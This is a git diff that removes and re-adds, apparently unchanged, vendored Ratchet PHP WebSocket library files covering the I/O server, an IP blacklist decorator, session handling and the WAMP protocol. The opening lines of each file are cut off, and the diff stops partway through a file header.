8c2236d7e9..9f864bb9e3 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Server/IoConnection.php +++ b/vendor/cboden/ratchet/src/Ratchet/Server/IoConnection.php @@ -1,38 +1,38 @@ -conn = $conn; - } - - /** - * {@inheritdoc} - */ - public function send($data) { - $this->conn->write($data); - - return $this; - } - - /** - * {@inheritdoc} - */ - public function close() { - $this->conn->end(); - } -} +conn = $conn; + } + + /** + * {@inheritdoc} + */ + public function send($data) { + $this->conn->write($data); + + return $this; + } + + /** + * {@inheritdoc} + */ + public function close() { + $this->conn->end(); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Server/IoServer.php b/vendor/cboden/ratchet/src/Ratchet/Server/IoServer.php index 307eb555ec..b3fb7e0e4e 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Server/IoServer.php +++ b/vendor/cboden/ratchet/src/Ratchet/Server/IoServer.php @@ -1,140 +1,140 @@ -loop = $loop; - $this->app = $app; - $this->socket = $socket; - - $socket->on('connection', array($this, 'handleConnect')); - } - - /** - * @param \Ratchet\MessageComponentInterface $component The application that I/O will call when events are received - * @param int $port The port to server sockets on - * @param string $address The address to receive sockets on (0.0.0.0 means receive connections from any) - * @return IoServer - */ - public static function factory(MessageComponentInterface $component, $port = 80, $address = '0.0.0.0') { - $loop = LoopFactory::create(); - $socket = new Reactor($address . ':' . $port, $loop); - - return new static($component, $socket, $loop); - } - - /** - * Run the application by entering the event loop - * @throws \RuntimeException If a loop was not previously specified - */ - public function run() { - if (null === $this->loop) { - throw new \RuntimeException("A React Loop was not provided during instantiation"); - } - - // @codeCoverageIgnoreStart - $this->loop->run(); - // @codeCoverageIgnoreEnd - } - - /** - * Triggered when a new connection is received from React - * @param \React\Socket\ConnectionInterface $conn - */ - public function handleConnect($conn) { - $conn->decor = new IoConnection($conn); - $conn->decor->resourceId = (int)$conn->stream; - - $uri = $conn->getRemoteAddress(); - $conn->decor->remoteAddress = trim( - parse_url((strpos($uri, '://') === false ? 'tcp://' : '') . $uri, PHP_URL_HOST), - '[]' - ); - - $this->app->onOpen($conn->decor); - - $conn->on('data', function ($data) use ($conn) { - $this->handleData($data, $conn); - }); - $conn->on('close', function () use ($conn) { - $this->handleEnd($conn); - }); - $conn->on('error', function (\Exception $e) use ($conn) { - $this->handleError($e, $conn); - }); - } - - /** - * Data has been received from React - * @param string $data - * @param \React\Socket\ConnectionInterface $conn - */ - public function handleData($data, $conn) { - try { - $this->app->onMessage($conn->decor, $data); - } catch (\Exception $e) { - $this->handleError($e, $conn); - } - } - - /** - * A connection has been closed by React - * @param \React\Socket\ConnectionInterface $conn - */ - public function handleEnd($conn) { - try { - $this->app->onClose($conn->decor); - } catch (\Exception $e) { - $this->handleError($e, $conn); - } - - unset($conn->decor); - } - - /** - * An error has occurred, let the listening application know - * @param \Exception $e - * @param \React\Socket\ConnectionInterface $conn - */ - public function handleError(\Exception $e, $conn) { - $this->app->onError($conn->decor, $e); - } -} +loop = $loop; + $this->app = $app; + $this->socket = $socket; + + $socket->on('connection', array($this, 'handleConnect')); + } + + /** + * @param \Ratchet\MessageComponentInterface $component The application that I/O will call when events are received + * @param int $port The port to server sockets on + * @param string $address The address to receive sockets on (0.0.0.0 means receive connections from any) + * @return IoServer + */ + public static function factory(MessageComponentInterface $component, $port = 80, $address = '0.0.0.0') { + $loop = LoopFactory::create(); + $socket = new Reactor($address . ':' . $port, $loop); + + return new static($component, $socket, $loop); + } + + /** + * Run the application by entering the event loop + * @throws \RuntimeException If a loop was not previously specified + */ + public function run() { + if (null === $this->loop) { + throw new \RuntimeException("A React Loop was not provided during instantiation"); + } + + // @codeCoverageIgnoreStart + $this->loop->run(); + // @codeCoverageIgnoreEnd + } + + /** + * Triggered when a new connection is received from React + * @param \React\Socket\ConnectionInterface $conn + */ + public function handleConnect($conn) { + $conn->decor = new IoConnection($conn); + $conn->decor->resourceId = (int)$conn->stream; + + $uri = $conn->getRemoteAddress(); + $conn->decor->remoteAddress = trim( + parse_url((strpos($uri, '://') === false ? 'tcp://' : '') . $uri, PHP_URL_HOST), + '[]' + ); + + $this->app->onOpen($conn->decor); + + $conn->on('data', function ($data) use ($conn) { + $this->handleData($data, $conn); + }); + $conn->on('close', function () use ($conn) { + $this->handleEnd($conn); + }); + $conn->on('error', function (\Exception $e) use ($conn) { + $this->handleError($e, $conn); + }); + } + + /** + * Data has been received from React + * @param string $data + * @param \React\Socket\ConnectionInterface $conn + */ + public function handleData($data, $conn) { + try { + $this->app->onMessage($conn->decor, $data); + } catch (\Exception $e) { + $this->handleError($e, $conn); + } + } + + /** + * A connection has been closed by React + * @param \React\Socket\ConnectionInterface $conn + */ + public function handleEnd($conn) { + try { + $this->app->onClose($conn->decor); + } catch (\Exception $e) { + $this->handleError($e, $conn); + } + + unset($conn->decor); + } + + /** + * An error has occurred, let the listening application know + * @param \Exception $e + * @param \React\Socket\ConnectionInterface $conn + */ + public function handleError(\Exception $e, $conn) { + $this->app->onError($conn->decor, $e); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Server/IpBlackList.php b/vendor/cboden/ratchet/src/Ratchet/Server/IpBlackList.php index 65172713d8..934225494a 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Server/IpBlackList.php +++ b/vendor/cboden/ratchet/src/Ratchet/Server/IpBlackList.php @@ -1,111 +1,111 @@ -_decorating = $component; - } - - /** - * Add an address to the blacklist that will not be allowed to connect to your application - * @param string $ip IP address to block from connecting to your application - * @return IpBlackList - */ - public function blockAddress($ip) { - $this->_blacklist[$ip] = true; - - return $this; - } - - /** - * Unblock an address so they can access your application again - * @param string $ip IP address to unblock from connecting to your application - * @return IpBlackList - */ - public function unblockAddress($ip) { - if (isset($this->_blacklist[$this->filterAddress($ip)])) { - unset($this->_blacklist[$this->filterAddress($ip)]); - } - - return $this; - } - - /** - * @param string $address - * @return bool - */ - public function isBlocked($address) { - return (isset($this->_blacklist[$this->filterAddress($address)])); - } - - /** - * Get an array of all the addresses blocked - * @return array - */ - public function getBlockedAddresses() { - return array_keys($this->_blacklist); - } - - /** - * @param string $address - * @return string - */ - public function filterAddress($address) { - if (strstr($address, ':') && substr_count($address, '.') == 3) { - list($address, $port) = explode(':', $address); - } - - return $address; - } - - /** - * {@inheritdoc} - */ - function onOpen(ConnectionInterface $conn) { - if ($this->isBlocked($conn->remoteAddress)) { - return $conn->close(); - } - - return $this->_decorating->onOpen($conn); - } - - /** - * {@inheritdoc} - */ - function onMessage(ConnectionInterface $from, $msg) { - return $this->_decorating->onMessage($from, $msg); - } - - /** - * {@inheritdoc} - */ - function onClose(ConnectionInterface $conn) { - if (!$this->isBlocked($conn->remoteAddress)) { - $this->_decorating->onClose($conn); - } - } - - /** - * {@inheritdoc} - */ - function onError(ConnectionInterface $conn, \Exception $e) { - if (!$this->isBlocked($conn->remoteAddress)) { - $this->_decorating->onError($conn, $e); - } - } -} +_decorating = $component; + } + + /** + * Add an address to the blacklist that will not be allowed to connect to your application + * @param string $ip IP address to block from connecting to your application + * @return IpBlackList + */ + public function blockAddress($ip) { + $this->_blacklist[$ip] = true; + + return $this; + } + + /** + * Unblock an address so they can access your application again + * @param string $ip IP address to unblock from connecting to your application + * @return IpBlackList + */ + public function unblockAddress($ip) { + if (isset($this->_blacklist[$this->filterAddress($ip)])) { + unset($this->_blacklist[$this->filterAddress($ip)]); + } + + return $this; + } + + /** + * @param string $address + * @return bool + */ + public function isBlocked($address) { + return (isset($this->_blacklist[$this->filterAddress($address)])); + } + + /** + * Get an array of all the addresses blocked + * @return array + */ + public function getBlockedAddresses() { + return array_keys($this->_blacklist); + } + + /** + * @param string $address + * @return string + */ + public function filterAddress($address) { + if (strstr($address, ':') && substr_count($address, '.') == 3) { + list($address, $port) = explode(':', $address); + } + + return $address; + } + + /** + * {@inheritdoc} + */ + function onOpen(ConnectionInterface $conn) { + if ($this->isBlocked($conn->remoteAddress)) { + return $conn->close(); + } + + return $this->_decorating->onOpen($conn); + } + + /** + * {@inheritdoc} + */ + function onMessage(ConnectionInterface $from, $msg) { + return $this->_decorating->onMessage($from, $msg); + } + + /** + * {@inheritdoc} + */ + function onClose(ConnectionInterface $conn) { + if (!$this->isBlocked($conn->remoteAddress)) { + $this->_decorating->onClose($conn); + } + } + + /** + * {@inheritdoc} + */ + function onError(ConnectionInterface $conn, \Exception $e) { + if (!$this->isBlocked($conn->remoteAddress)) { + $this->_decorating->onError($conn, $e); + } + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Session/Serialize/HandlerInterface.php b/vendor/cboden/ratchet/src/Ratchet/Session/Serialize/HandlerInterface.php index b8a743a29e..b83635f84f 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Session/Serialize/HandlerInterface.php +++ b/vendor/cboden/ratchet/src/Ratchet/Session/Serialize/HandlerInterface.php @@ -1,16 +1,16 @@ - $bucketData) { - $preSerialized[] = $bucket . '|' . serialize($bucketData); - } - $serialized = implode('', $preSerialized); - } - - return $serialized; - } - - /** - * {@inheritdoc} - * @link http://ca2.php.net/manual/en/function.session-decode.php#108037 Code from this comment on php.net - * @throws \UnexpectedValueException If there is a problem parsing the data - */ - public function unserialize($raw) { - $returnData = array(); - $offset = 0; - - while ($offset < strlen($raw)) { - if (!strstr(substr($raw, $offset), "|")) { - throw new \UnexpectedValueException("invalid data, remaining: " . substr($raw, $offset)); - } - - $pos = strpos($raw, "|", $offset); - $num = $pos - $offset; - $varname = substr($raw, $offset, $num); - $offset += $num + 1; - $data = unserialize(substr($raw, $offset)); - - $returnData[$varname] = $data; - $offset += strlen(serialize($data)); - } - - return $returnData; - } -} + $bucketData) { + $preSerialized[] = $bucket . '|' . serialize($bucketData); + } + $serialized = implode('', $preSerialized); + } + + return $serialized; + } + + /** + * {@inheritdoc} + * @link http://ca2.php.net/manual/en/function.session-decode.php#108037 Code from this comment on php.net + * @throws \UnexpectedValueException If there is a problem parsing the data + */ + public function unserialize($raw) { + $returnData = array(); + $offset = 0; + + while ($offset < strlen($raw)) { + if (!strstr(substr($raw, $offset), "|")) { + throw new \UnexpectedValueException("invalid data, remaining: " . substr($raw, $offset)); + } + + $pos = strpos($raw, "|", $offset); + $num = $pos - $offset; + $varname = substr($raw, $offset, $num); + $offset += $num + 1; + $data = unserialize(substr($raw, $offset)); + + $returnData[$varname] = $data; + $offset += strlen(serialize($data)); + } + + return $returnData; + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Session/SessionProvider.php b/vendor/cboden/ratchet/src/Ratchet/Session/SessionProvider.php index 2177845838..44276c5431 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Session/SessionProvider.php +++ b/vendor/cboden/ratchet/src/Ratchet/Session/SessionProvider.php @@ -1,243 +1,243 @@ -_app = $app; - $this->_handler = $handler; - $this->_null = new NullSessionHandler; - - ini_set('session.auto_start', 0); - ini_set('session.cache_limiter', ''); - ini_set('session.use_cookies', 0); - - $this->setOptions($options); - - if (null === $serializer) { - $serialClass = __NAMESPACE__ . "\\Serialize\\{$this->toClassCase(ini_get('session.serialize_handler'))}Handler"; // awesome/terrible hack, eh? - if (!class_exists($serialClass)) { - throw new \RuntimeException('Unable to parse session serialize handler'); - } - - $serializer = new $serialClass; - } - - $this->_serializer = $serializer; - } - - /** - * {@inheritdoc} - */ - public function onOpen(ConnectionInterface $conn, RequestInterface $request = null) { - $sessionName = ini_get('session.name'); - - $id = array_reduce($request->getHeader('Cookie'), function($accumulator, $cookie) use ($sessionName) { - if ($accumulator) { - return $accumulator; - } - - $crumbs = $this->parseCookie($cookie); - - return isset($crumbs['cookies'][$sessionName]) ? $crumbs['cookies'][$sessionName] : false; - }, false); - - if (null === $request || false === $id) { - $saveHandler = $this->_null; - $id = ''; - } else { - $saveHandler = $this->_handler; - } - - $conn->Session = new Session(new VirtualSessionStorage($saveHandler, $id, $this->_serializer)); - - if (ini_get('session.auto_start')) { - $conn->Session->start(); - } - - return $this->_app->onOpen($conn, $request); - } - - /** - * {@inheritdoc} - */ - function onMessage(ConnectionInterface $from, $msg) { - return $this->_app->onMessage($from, $msg); - } - - /** - * {@inheritdoc} - */ - function onClose(ConnectionInterface $conn) { - // "close" session for Connection - - return $this->_app->onClose($conn); - } - - /** - * {@inheritdoc} - */ - function onError(ConnectionInterface $conn, \Exception $e) { - return $this->_app->onError($conn, $e); - } - - /** - * Set all the php session. ini options - * © Symfony - * @param array $options - * @return array - */ - protected function setOptions(array $options) { - $all = array( - 'auto_start', 'cache_limiter', 'cookie_domain', 'cookie_httponly', - 'cookie_lifetime', 'cookie_path', 'cookie_secure', - 'entropy_file', 'entropy_length', 'gc_divisor', - 'gc_maxlifetime', 'gc_probability', 'hash_bits_per_character', - 'hash_function', 'name', 'referer_check', - 'serialize_handler', 'use_cookies', - 'use_only_cookies', 'use_trans_sid', 'upload_progress.enabled', - 'upload_progress.cleanup', 'upload_progress.prefix', 'upload_progress.name', - 'upload_progress.freq', 'upload_progress.min-freq', 'url_rewriter.tags' - ); - - foreach ($all as $key) { - if (!array_key_exists($key, $options)) { - $options[$key] = ini_get("session.{$key}"); - } else { - ini_set("session.{$key}", $options[$key]); - } - } - - return $options; - } - - /** - * @param string $langDef Input to convert - * @return string - */ - protected function toClassCase($langDef) { - return str_replace(' ', '', ucwords(str_replace('_', ' ', $langDef))); - } - - /** - * Taken from Guzzle3 - */ - private static $cookieParts = array( - 'domain' => 'Domain', - 'path' => 'Path', - 'max_age' => 'Max-Age', - 'expires' => 'Expires', - 'version' => 'Version', - 'secure' => 'Secure', - 'port' => 'Port', - 'discard' => 'Discard', - 'comment' => 'Comment', - 'comment_url' => 'Comment-Url', - 'http_only' => 'HttpOnly' - ); - - /** - * Taken from Guzzle3 - */ - private function parseCookie($cookie, $host = null, $path = null, $decode = false) { - // Explode the cookie string using a series of semicolons - $pieces = array_filter(array_map('trim', explode(';', $cookie))); - - // The name of the cookie (first kvp) must include an equal sign. - if (empty($pieces) || !strpos($pieces[0], '=')) { - return false; - } - - // Create the default return array - $data = array_merge(array_fill_keys(array_keys(self::$cookieParts), null), array( - 'cookies' => array(), - 'data' => array(), - 'path' => $path ?: '/', - 'http_only' => false, - 'discard' => false, - 'domain' => $host - )); - $foundNonCookies = 0; - - // Add the cookie pieces into the parsed data array - foreach ($pieces as $part) { - - $cookieParts = explode('=', $part, 2); - $key = trim($cookieParts[0]); - - if (count($cookieParts) == 1) { - // Can be a single value (e.g. secure, httpOnly) - $value = true; - } else { - // Be sure to strip wrapping quotes - $value = trim($cookieParts[1], " \n\r\t\0\x0B\""); - if ($decode) { - $value = urldecode($value); - } - } - - // Only check for non-cookies when cookies have been found - if (!empty($data['cookies'])) { - foreach (self::$cookieParts as $mapValue => $search) { - if (!strcasecmp($search, $key)) { - $data[$mapValue] = $mapValue == 'port' ? array_map('trim', explode(',', $value)) : $value; - $foundNonCookies++; - continue 2; - } - } - } - - // If cookies have not yet been retrieved, or this value was not found in the pieces array, treat it as a - // cookie. IF non-cookies have been parsed, then this isn't a cookie, it's cookie data. Cookies then data. - $data[$foundNonCookies ? 'data' : 'cookies'][$key] = $value; - } - - // Calculate the expires date - if (!$data['expires'] && $data['max_age']) { - $data['expires'] = time() + (int) $data['max_age']; - } - - return $data; - } -} +_app = $app; + $this->_handler = $handler; + $this->_null = new NullSessionHandler; + + ini_set('session.auto_start', 0); + ini_set('session.cache_limiter', ''); + ini_set('session.use_cookies', 0); + + $this->setOptions($options); + + if (null === $serializer) { + $serialClass = __NAMESPACE__ . "\\Serialize\\{$this->toClassCase(ini_get('session.serialize_handler'))}Handler"; // awesome/terrible hack, eh? + if (!class_exists($serialClass)) { + throw new \RuntimeException('Unable to parse session serialize handler'); + } + + $serializer = new $serialClass; + } + + $this->_serializer = $serializer; + } + + /** + * {@inheritdoc} + */ + public function onOpen(ConnectionInterface $conn, RequestInterface $request = null) { + $sessionName = ini_get('session.name'); + + $id = array_reduce($request->getHeader('Cookie'), function($accumulator, $cookie) use ($sessionName) { + if ($accumulator) { + return $accumulator; + } + + $crumbs = $this->parseCookie($cookie); + + return isset($crumbs['cookies'][$sessionName]) ? $crumbs['cookies'][$sessionName] : false; + }, false); + + if (null === $request || false === $id) { + $saveHandler = $this->_null; + $id = ''; + } else { + $saveHandler = $this->_handler; + } + + $conn->Session = new Session(new VirtualSessionStorage($saveHandler, $id, $this->_serializer)); + + if (ini_get('session.auto_start')) { + $conn->Session->start(); + } + + return $this->_app->onOpen($conn, $request); + } + + /** + * {@inheritdoc} + */ + function onMessage(ConnectionInterface $from, $msg) { + return $this->_app->onMessage($from, $msg); + } + + /** + * {@inheritdoc} + */ + function onClose(ConnectionInterface $conn) { + // "close" session for Connection + + return $this->_app->onClose($conn); + } + + /** + * {@inheritdoc} + */ + function onError(ConnectionInterface $conn, \Exception $e) { + return $this->_app->onError($conn, $e); + } + + /** + * Set all the php session. ini options + * © Symfony + * @param array $options + * @return array + */ + protected function setOptions(array $options) { + $all = array( + 'auto_start', 'cache_limiter', 'cookie_domain', 'cookie_httponly', + 'cookie_lifetime', 'cookie_path', 'cookie_secure', + 'entropy_file', 'entropy_length', 'gc_divisor', + 'gc_maxlifetime', 'gc_probability', 'hash_bits_per_character', + 'hash_function', 'name', 'referer_check', + 'serialize_handler', 'use_cookies', + 'use_only_cookies', 'use_trans_sid', 'upload_progress.enabled', + 'upload_progress.cleanup', 'upload_progress.prefix', 'upload_progress.name', + 'upload_progress.freq', 'upload_progress.min-freq', 'url_rewriter.tags' + ); + + foreach ($all as $key) { + if (!array_key_exists($key, $options)) { + $options[$key] = ini_get("session.{$key}"); + } else { + ini_set("session.{$key}", $options[$key]); + } + } + + return $options; + } + + /** + * @param string $langDef Input to convert + * @return string + */ + protected function toClassCase($langDef) { + return str_replace(' ', '', ucwords(str_replace('_', ' ', $langDef))); + } + + /** + * Taken from Guzzle3 + */ + private static $cookieParts = array( + 'domain' => 'Domain', + 'path' => 'Path', + 'max_age' => 'Max-Age', + 'expires' => 'Expires', + 'version' => 'Version', + 'secure' => 'Secure', + 'port' => 'Port', + 'discard' => 'Discard', + 'comment' => 'Comment', + 'comment_url' => 'Comment-Url', + 'http_only' => 'HttpOnly' + ); + + /** + * Taken from Guzzle3 + */ + private function parseCookie($cookie, $host = null, $path = null, $decode = false) { + // Explode the cookie string using a series of semicolons + $pieces = array_filter(array_map('trim', explode(';', $cookie))); + + // The name of the cookie (first kvp) must include an equal sign. + if (empty($pieces) || !strpos($pieces[0], '=')) { + return false; + } + + // Create the default return array + $data = array_merge(array_fill_keys(array_keys(self::$cookieParts), null), array( + 'cookies' => array(), + 'data' => array(), + 'path' => $path ?: '/', + 'http_only' => false, + 'discard' => false, + 'domain' => $host + )); + $foundNonCookies = 0; + + // Add the cookie pieces into the parsed data array + foreach ($pieces as $part) { + + $cookieParts = explode('=', $part, 2); + $key = trim($cookieParts[0]); + + if (count($cookieParts) == 1) { + // Can be a single value (e.g. secure, httpOnly) + $value = true; + } else { + // Be sure to strip wrapping quotes + $value = trim($cookieParts[1], " \n\r\t\0\x0B\""); + if ($decode) { + $value = urldecode($value); + } + } + + // Only check for non-cookies when cookies have been found + if (!empty($data['cookies'])) { + foreach (self::$cookieParts as $mapValue => $search) { + if (!strcasecmp($search, $key)) { + $data[$mapValue] = $mapValue == 'port' ? array_map('trim', explode(',', $value)) : $value; + $foundNonCookies++; + continue 2; + } + } + } + + // If cookies have not yet been retrieved, or this value was not found in the pieces array, treat it as a + // cookie. IF non-cookies have been parsed, then this isn't a cookie, it's cookie data. Cookies then data. + $data[$foundNonCookies ? 'data' : 'cookies'][$key] = $value; + } + + // Calculate the expires date + if (!$data['expires'] && $data['max_age']) { + $data['expires'] = time() + (int) $data['max_age']; + } + + return $data; + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Session/Storage/Proxy/VirtualProxy.php b/vendor/cboden/ratchet/src/Ratchet/Session/Storage/Proxy/VirtualProxy.php index ae20382bd8..b478d03998 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Session/Storage/Proxy/VirtualProxy.php +++ b/vendor/cboden/ratchet/src/Ratchet/Session/Storage/Proxy/VirtualProxy.php @@ -1,54 +1,54 @@ -saveHandlerName = 'user'; - $this->_sessionName = ini_get('session.name'); - } - - /** - * {@inheritdoc} - */ - public function getId() { - return $this->_sessionId; - } - - /** - * {@inheritdoc} - */ - public function setId($id) { - $this->_sessionId = $id; - } - - /** - * {@inheritdoc} - */ - public function getName() { - return $this->_sessionName; - } - - /** - * DO NOT CALL THIS METHOD - * @internal - */ - public function setName($name) { - throw new \RuntimeException("Can not change session name in VirtualProxy"); - } -} +saveHandlerName = 'user'; + $this->_sessionName = ini_get('session.name'); + } + + /** + * {@inheritdoc} + */ + public function getId() { + return $this->_sessionId; + } + + /** + * {@inheritdoc} + */ + public function setId($id) { + $this->_sessionId = $id; + } + + /** + * {@inheritdoc} + */ + public function getName() { + return $this->_sessionName; + } + + /** + * DO NOT CALL THIS METHOD + * @internal + */ + public function setName($name) { + throw new \RuntimeException("Can not change session name in VirtualProxy"); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Session/Storage/VirtualSessionStorage.php b/vendor/cboden/ratchet/src/Ratchet/Session/Storage/VirtualSessionStorage.php index 627ea7898f..daa10bba1f 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Session/Storage/VirtualSessionStorage.php +++ b/vendor/cboden/ratchet/src/Ratchet/Session/Storage/VirtualSessionStorage.php @@ -1,88 +1,88 @@ -setSaveHandler($handler); - $this->saveHandler->setId($sessionId); - $this->_serializer = $serializer; - $this->setMetadataBag(null); - } - - /** - * {@inheritdoc} - */ - public function start() { - if ($this->started && !$this->closed) { - return true; - } - - // You have to call Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler::open() to use - // pdo_sqlite (and possible pdo_*) as session storage, if you are using a DSN string instead of a \PDO object - // in the constructor. The method arguments are filled with the values, which are also used by the symfony - // framework in this case. This must not be the best choice, but it works. - $this->saveHandler->open(session_save_path(), session_name()); - - $rawData = $this->saveHandler->read($this->saveHandler->getId()); - $sessionData = $this->_serializer->unserialize($rawData); - - $this->loadSession($sessionData); - - if (!$this->saveHandler->isWrapper() && !$this->saveHandler->isSessionHandlerInterface()) { - $this->saveHandler->setActive(false); - } - - return true; - } - - /** - * {@inheritdoc} - */ - public function regenerate($destroy = false, $lifetime = null) { - // .. ? - } - - /** - * {@inheritdoc} - */ - public function save() { - // get the data from the bags? - // serialize the data - // save the data using the saveHandler -// $this->saveHandler->write($this->saveHandler->getId(), - - if (!$this->saveHandler->isWrapper() && !$this->getSaveHandler()->isSessionHandlerInterface()) { - $this->saveHandler->setActive(false); - } - - $this->closed = true; - } - - /** - * {@inheritdoc} - */ - public function setSaveHandler($saveHandler = null) { - if (!($saveHandler instanceof \SessionHandlerInterface)) { - throw new \InvalidArgumentException('Handler must be instance of SessionHandlerInterface'); - } - - if (!($saveHandler instanceof VirtualProxy)) { - $saveHandler = new VirtualProxy($saveHandler); - } - - $this->saveHandler = $saveHandler; - } -} +setSaveHandler($handler); + $this->saveHandler->setId($sessionId); + $this->_serializer = $serializer; + $this->setMetadataBag(null); + } + + /** + * {@inheritdoc} + */ + public function start() { + if ($this->started && !$this->closed) { + return true; + } + + // You have to call Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler::open() to use + // pdo_sqlite (and possible pdo_*) as session storage, if you are using a DSN string instead of a \PDO object + // in the constructor. The method arguments are filled with the values, which are also used by the symfony + // framework in this case. This must not be the best choice, but it works. + $this->saveHandler->open(session_save_path(), session_name()); + + $rawData = $this->saveHandler->read($this->saveHandler->getId()); + $sessionData = $this->_serializer->unserialize($rawData); + + $this->loadSession($sessionData); + + if (!$this->saveHandler->isWrapper() && !$this->saveHandler->isSessionHandlerInterface()) { + $this->saveHandler->setActive(false); + } + + return true; + } + + /** + * {@inheritdoc} + */ + public function regenerate($destroy = false, $lifetime = null) { + // .. ? + } + + /** + * {@inheritdoc} + */ + public function save() { + // get the data from the bags? + // serialize the data + // save the data using the saveHandler +// $this->saveHandler->write($this->saveHandler->getId(), + + if (!$this->saveHandler->isWrapper() && !$this->getSaveHandler()->isSessionHandlerInterface()) { + $this->saveHandler->setActive(false); + } + + $this->closed = true; + } + + /** + * {@inheritdoc} + */ + public function setSaveHandler($saveHandler = null) { + if (!($saveHandler instanceof \SessionHandlerInterface)) { + throw new \InvalidArgumentException('Handler must be instance of SessionHandlerInterface'); + } + + if (!($saveHandler instanceof VirtualProxy)) { + $saveHandler = new VirtualProxy($saveHandler); + } + + $this->saveHandler = $saveHandler; + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Wamp/Exception.php b/vendor/cboden/ratchet/src/Ratchet/Wamp/Exception.php index 96f47603db..6c824dab6a 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Wamp/Exception.php +++ b/vendor/cboden/ratchet/src/Ratchet/Wamp/Exception.php @@ -1,5 +1,5 @@ -_decorating = $serverComponent; - $this->connections = new \SplObjectStorage; - } - - /** - * {@inheritdoc} - */ - public function getSubProtocols() { - if ($this->_decorating instanceof WsServerInterface) { - $subs = $this->_decorating->getSubProtocols(); - $subs[] = 'wamp'; - - return $subs; - } - - return ['wamp']; - } - - /** - * {@inheritdoc} - */ - public function onOpen(ConnectionInterface $conn) { - $decor = new WampConnection($conn); - $this->connections->attach($conn, $decor); - - $this->_decorating->onOpen($decor); - } - - /** - * {@inheritdoc} - * @throws \Ratchet\Wamp\Exception - * @throws \Ratchet\Wamp\JsonException - */ - public function onMessage(ConnectionInterface $from, $msg) { - $from = $this->connections[$from]; - - if (null === ($json = @json_decode($msg, true))) { - throw new JsonException; - } - - if (!is_array($json) || $json !== array_values($json)) { - throw new Exception("Invalid WAMP message format"); - } - - if (isset($json[1]) && !(is_string($json[1]) || is_numeric($json[1]))) { - throw new Exception('Invalid Topic, must be a string'); - } - - switch ($json[0]) { - case static::MSG_PREFIX: - $from->WAMP->prefixes[$json[1]] = $json[2]; - break; - - case static::MSG_CALL: - array_shift($json); - $callID = array_shift($json); - $procURI = array_shift($json); - - if (count($json) == 1 && is_array($json[0])) { - $json = $json[0]; - } - - $this->_decorating->onCall($from, $callID, $from->getUri($procURI), $json); - break; - - case static::MSG_SUBSCRIBE: - $this->_decorating->onSubscribe($from, $from->getUri($json[1])); - break; - - case static::MSG_UNSUBSCRIBE: - $this->_decorating->onUnSubscribe($from, $from->getUri($json[1])); - break; - - case static::MSG_PUBLISH: - $exclude = (array_key_exists(3, $json) ? $json[3] : null); - if (!is_array($exclude)) { - if (true === (boolean)$exclude) { - $exclude = [$from->WAMP->sessionId]; - } else { - $exclude = []; - } - } - - $eligible = (array_key_exists(4, $json) ? $json[4] : []); - - $this->_decorating->onPublish($from, $from->getUri($json[1]), $json[2], $exclude, $eligible); - break; - - default: - throw new Exception('Invalid WAMP message type'); - } - } - - /** - * {@inheritdoc} - */ - public function onClose(ConnectionInterface $conn) { - $decor = $this->connections[$conn]; - $this->connections->detach($conn); - - $this->_decorating->onClose($decor); - } - - /** - * {@inheritdoc} - */ - public function onError(ConnectionInterface $conn, \Exception $e) { - return $this->_decorating->onError($this->connections[$conn], $e); - } -} +_decorating = $serverComponent; + $this->connections = new \SplObjectStorage; + } + + /** + * {@inheritdoc} + */ + public function getSubProtocols() { + if ($this->_decorating instanceof WsServerInterface) { + $subs = $this->_decorating->getSubProtocols(); + $subs[] = 'wamp'; + + return $subs; + } + + return ['wamp']; + } + + /** + * {@inheritdoc} + */ + public function onOpen(ConnectionInterface $conn) { + $decor = new WampConnection($conn); + $this->connections->attach($conn, $decor); + + $this->_decorating->onOpen($decor); + } + + /** + * {@inheritdoc} + * @throws \Ratchet\Wamp\Exception + * @throws \Ratchet\Wamp\JsonException + */ + public function onMessage(ConnectionInterface $from, $msg) { + $from = $this->connections[$from]; + + if (null === ($json = @json_decode($msg, true))) { + throw new JsonException; + } + + if (!is_array($json) || $json !== array_values($json)) { + throw new Exception("Invalid WAMP message format"); + } + + if (isset($json[1]) && !(is_string($json[1]) || is_numeric($json[1]))) { + throw new Exception('Invalid Topic, must be a string'); + } + + switch ($json[0]) { + case static::MSG_PREFIX: + $from->WAMP->prefixes[$json[1]] = $json[2]; + break; + + case static::MSG_CALL: + array_shift($json); + $callID = array_shift($json); + $procURI = array_shift($json); + + if (count($json) == 1 && is_array($json[0])) { + $json = $json[0]; + } + + $this->_decorating->onCall($from, $callID, $from->getUri($procURI), $json); + break; + + case static::MSG_SUBSCRIBE: + $this->_decorating->onSubscribe($from, $from->getUri($json[1])); + break; + + case static::MSG_UNSUBSCRIBE: + $this->_decorating->onUnSubscribe($from, $from->getUri($json[1])); + break; + + case static::MSG_PUBLISH: + $exclude = (array_key_exists(3, $json) ? $json[3] : null); + if (!is_array($exclude)) { + if (true === (boolean)$exclude) { + $exclude = [$from->WAMP->sessionId]; + } else { + $exclude = []; + } + } + + $eligible = (array_key_exists(4, $json) ? $json[4] : []); + + $this->_decorating->onPublish($from, $from->getUri($json[1]), $json[2], $exclude, $eligible); + break; + + default: + throw new Exception('Invalid WAMP message type'); + } + } + + /** + * {@inheritdoc} + */ + public function onClose(ConnectionInterface $conn) { + $decor = $this->connections[$conn]; + $this->connections->detach($conn); + + $this->_decorating->onClose($decor); + } + + /** + * {@inheritdoc} + */ + public function onError(ConnectionInterface $conn, \Exception $e) { + return $this->_decorating->onError($this->connections[$conn], $e); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Wamp/Topic.php b/vendor/cboden/ratchet/src/Ratchet/Wamp/Topic.php index 395d02ab0d..bca8f67d05 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Wamp/Topic.php +++ 